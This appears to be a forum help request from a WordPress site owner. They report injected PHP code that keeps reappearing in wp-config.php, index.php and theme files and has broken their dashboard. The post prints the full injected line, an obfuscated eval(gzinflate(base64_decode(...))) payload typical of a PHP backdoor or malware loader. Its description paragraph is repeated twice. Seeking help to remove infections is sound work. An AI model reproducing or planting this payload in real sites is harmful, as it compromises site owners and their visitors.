I'm having problem in wp.I don't know how it came or someone injected the code.It seems like this:
I found this code in many files of my wp like index.php , wp-config.php,wp-setting.php, In my theme header,footer,function.php & in other places.
Because of this my site is not functioning well & can't access my wp dashboard.
Before I can use my dashboard I have to delete that code.But this code re-appearing again & again.
Can anyone help me what should I do?
Code:
<?php eval(gzinflate(base64_decode('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')));?>
I found this code in many files of my wp like index.php , wp-config.php,wp-setting.php, In my theme header,footer,function.php & in other places.
Because of this my site is not functioning well & can't access my wp dashboard.
Before I can use my dashboard I have to delete that code.But this code re-appearing again & again.
Can anyone help me what should I do?